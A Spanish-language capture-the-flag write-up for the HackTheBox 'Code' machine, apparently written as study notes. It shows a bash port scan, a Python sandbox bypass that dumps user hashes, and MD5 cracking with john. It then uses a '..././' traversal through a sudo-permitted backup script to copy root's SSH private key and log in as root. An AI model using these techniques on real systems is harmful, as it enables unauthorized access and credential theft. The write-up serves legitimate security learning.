HackTheBox - Code
Creado

Entorno Linux nivel fácil. Puertos escondidos, lenguaje de programación Python pa jugar y encontrar cositas, y backups pa guardar archivos que no deberíamos poder guardar :P
TL;DR (Spanish writeup)
💥 Laboratorio creado por: FisMatHack.
Globalidad.
Logramos encontrar un sitio web escaneando los puertos manualmente y no con nmap
, al verlo nos enfrentaremos a un editor de código Python
, jugando con el lenguaje obtendremos información de clases y con ellas credenciales, las reutilizaremos contra el servicio SSH
para obtener una sesión como el usuario martin
.
Martin tiene privilegios para ejecutar como cualquier usuario un script de bash
que se encarga de realizar backups con la herramienta backy
, haciendo análisis de código, bypassearemos algunos filtros que tiene el programa y aprovecharemos un salto de directorios para leer archivos arbitrarios del sistema.
Usando este ataque leeremos la llave SSH privada del usuario root
y generaremos una sesión como él.
…
Clasificación de la máquina según la gentesita
Temas reales y alguno que otro movimiento curioso.
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?
Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3
…
Blue!
…
Reconocimiento #
Empezamos revisando que servicios (puertos) tiene expuestos este entorno, para ello podemos emplear nmap
:
nmap -p- --open -v 10.10.11.62 -oA tcp-all-htb_code
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 puertos |
–open | Devuelve solo los puertos que estén abiertos |
-v | Permite ver en consola lo que va encontrando |
-oA | Guarda el output en diferentes formatos, entre ellos uno “grepeable”. Lo usaremos junto a la función extractPorts de S4vitar para copiar los puertos en la clipboard rápidamente |
El escaneo nos muestra:
Puerto | Descripción |
---|---|
22 | SSH: Servicio que permite la obtención de una terminal de forma segura |
¿Solo un puerto? ¿Y el SSH? Medio raro, pueda que haya algún filtro contra nmap
, así que hagamos el reconocimiento de puertos con un script:
#!/bin/bash
IP="10.10.11.62"
for port in $(seq 1 65535); do
(timeout 1 bash -c "</dev/tcp/$IP/$port") >/dev/null 2>&1 && echo "Puerto Abierto: $IP:$port" &
done; wait
Y obtenemos:
➧ ./ports.sh
Puerto Abierto: 10.10.11.62:22
Puerto Abierto: 10.10.11.62:5000
Ay, si había un puerto escondido!! Por lo general ese puerto 5000 es un servicio web, ahora si empecemos a validar cositas.
Enumeración #
Revisando el posible sitio web:
Python Code Editor 📌
Encontramos un editor de código Python, o sea, tenemos la opción de escribir texto en el lenguaje de programación Python. También tenemos la posibilidad de iniciar sesión y de registrarnos.
Viendo el código fuente del sitio, sabemos que mediante Ace es que se logra la creación del editor de código.
Como lo que tenemos es un sitio para interactuar con código Python, pues pongámonos a jugar con cositas…
Por ejemplo, después de algunas pruebas, encontramos la ruta actual donde se está ejecutando el sitio web. Esto mediante el uso de sys.path
, el cual nos permite listar las rutas del sistema que usa Python para encontrar algún módulo que vayamos a usar:
['/home/app-production/app', '/usr/bin', '/usr/lib/python38.zip', '/usr/lib/python3.8', '/usr/lib/python3.8/lib-dynload', '/usr/local/lib/python3.8/dist-packages', '/usr/lib/python3/dist-packages']
Por ahora es info, así que la vamos guardando.
…
Sabemos que podemos ejecutar código Python, ¿pero podríamos aprovecharlo para ejecutar cosas mal intencionadas? De ser así va a estar difícil, ya que al intentar usar import
, os
, exec
, system
, subprocess
y otras cadenas de texto (muy usadas para ese tipo de intenciones), el servidor no procesa la petición.
Por lo cual nos ponemos en la tarea de probar algunos bypasses para ese tipo de entornos donde todo es muy restrictivo (sandbox):
Globalidades 📌
Jugando con algunas, llegamos al apartado de los globals and locals
:
La función
globals()
devuelve una lista que contiene toooda la traza global de variables, funciones, clases y módulos importados que están siendo usados por nuestro script.
Veamos cuáles está usando el script:
Por defecto el script llama a muchas características que vienen incorporadas en el sistema, si queremos evitarlas y solo mostrar las creadas dentro del script, podríamos ejecutar:
for name,value in globals().items():
if not name.startswith('__'):
print(f"{name} : {value}")
print("---------")
Hay algunas cositas interesantes, pero lo que llama la atención son esas dos clases User
y Code
.
Una clase basicamente es un compendio de información (caracteristicas) perteneciente a un objeto, por lo que podriamos pensar que si hay una clase
User
, una de sus caracteristicas podria serusername
,password
…
A clase! 📌
Investigando sobre como extraer de las clases información sin conocerla, llegué a este artículo chino, :P el cual nos muestra el uso de dict.
“Basically it contains all the attributes which describe the object in question” ~ stackoverflow.com
Justo lo que necesitamos:
print(User.__dict__)
Upale, hay dos columnas en la clase User
que está siendo manejada por SQLAlchemy
: username
y password
!! Ojito…
Encontramos este recurso para entender como extraer los valores de esas columnas:
person = Person.query.get(1)
print(person.age)
Por lo cual con nuestro ejercicio sería:
user = User.query.get(1)
print(user.username)
// print(User.query.get(1).username) # o esta versión más corta
JA! Tenemooooos infoooooo :P :P
Explotación #
Interesante, obtenemos las credenciales de dos usuarios, sus contraseñas están hasheadas con el algoritmo MD5 (lo sabemos al usar haiti o algún otro identificador de hashes), el cual de por sí no es recomendado para contraseñas, ya que es muy vulnerable… Yyyyy vamos a ver si lo podemos vulnerar (:
Nos copiamos los hashes a un archivo y en mi caso usaré john the ripper, un famoso crackeador de contraseñas, el cual va a ir extrayendo una línea de texto de un archivo (en este caso) e irá generando hashes MD5, cuando uno de ellos sea igual al que le hemos pasado, sabremos que tenemos la contraseña en texto plano:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 User-class.hashes
EEEEEEje, tenemos credenciales en texto planooooooo!! ¿Pero dónde las probamos? Bueno, recuerda que el entorno está sirviendo el puerto SSH
, así queee:
ssh martin@10.10.11.62
Estamos dentro (:
Escalada de privilegios #
Mirando si tenemos permisos sobre otros usuarios en el sistema, encontramos:
Y si, como cualquier usuario y sin usar contraseña, podemos llamar al script /usr/bin/backy.sh
, este es su contenido:
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Es un script que hace un backup con la herramienta backy y tiene algunas validaciones internas, vamos a ir revisándolas:
Las primeras líneas sooooooon, validaciones, después empiezan a aparecer cosas juguetonas:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
Toma del archivo .json
que le estamos pasando la llave directories_to_archive
y si encuentra la cadena de texto ../
en alguno de sus valores, la reemplaza por vacío. Así que si enviamos:
{
directories_to_archive: ["/var/buenas","/home/buenas/../../hola"]
}
El archivo final quedaría así:
{
directories_to_archive: ["/var/buenas","/home/buenas/hola"]
}
Lo que está haciendo es un filtro para evitar que alguien intente hacer backup a otros archivos moviéndose entre carpetas usando ../
, o sea, un directory traversal. ¿¿¿Pero está bien implementado??? Ya veremos 🧟♀️, terminemos de revisar el script.
Viene una última validación en la que se compara si los directorios que hemos indicado en la llave directories_to_archive
empiezan con los directorios que el script fija como permitidos, que son /var
y /home
, simplemente cancela la ejecución si esa regla no se cumple:
[...]
allowed_paths=("/var/" "/home/")
[...]
# ejemplo válido: ["/var/buenas", "/home/buenas/hola"]
# ejemplo INvalido: ["/var/buenas", "/root/buenas/hola"]
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
Y finalmente ejecuta el backup con la herramienta backy:
[...]
/usr/bin/backy "$json_file"
Perfecto, ya sabemos que hace cada parte del programa, solo nos quedó sonando lo del salto entre directorios…
Vemos que hace la validación, peeeero, que pasa si como atacantes le pasamos este directorio:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
{
directories_to_archive: ["/home/buenas/..././hola"]
}
El filtro actuaria removiendo la cadena ../
y ¿cómo quedaría nuestro archivo?
{
directories_to_archive: ["/home/buenas/../hola"]
}
EJELEEEE SI SI SIIII, ya que el filtro se está ejecutando UNA sola vez!!!!!!!
Con esto, ya podemos intentar llegar a otros directorios, simplemente saliendo de los que estamos para entrar en otros :P
Saltamontes 📌
En internet hay un ejemplo de configuración de un backup (el archivo .json
que debemos pasarle al script):
Según eso y con la info que acabamos de encontrar (la pobre validación de los directorios), podemos intentar leer el contenido de la ruta /root/.ssh
, ese directorio muchas veces contiene llaves privadas de usuarios (en este caso root
), las cuales podemos usar para iniciar sesión por SSH sin necesitar una contraseña.
Armamos una config tal que:
Lanzamos:
sudo backy.sh hola.json
Se nos genera un archivo comprimido, que ha de ser el backup:
Tomamos el contenido del objeto y lo pasamos a base64
, esto para copiarnos el output y pegarlo en nuestro sistema, es más fácil y práctico jugar desde ahí:
➧ echo ...RAciZVLvt4A= | base64 -d > root-ssh.tar.bz2
Descomprimimos y revisamoooooos:
➧ tar -xvjf root-ssh.tar.bz2
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
➧ cd root/.ssh
➧ cat id_rsa
¡UPALE! La obtuvimos (: Y como te dije, esta llave nos sirve como una “contraseña”, así que solamente debemos indicarle a ssh
que vamos a usarla para autenticarnos:
ssh root@10.10.11.62 -i id_rsa
Y listoneees, hemos rooteado este entorno!
Post-Explotación #
Flags 📌
…
Linda máquina, el que todo haya sido enfocado en pensar y revisar código estuvo chévere, un poco agotador :P pero chévere.
Bueno, espero te haya podido guiar o al menos dar herramientas para que uses, muchas gracias por pasarte y nos leeremos pronto!!!
A seguir dándole y a romper de tooooodooOOO :O
Comments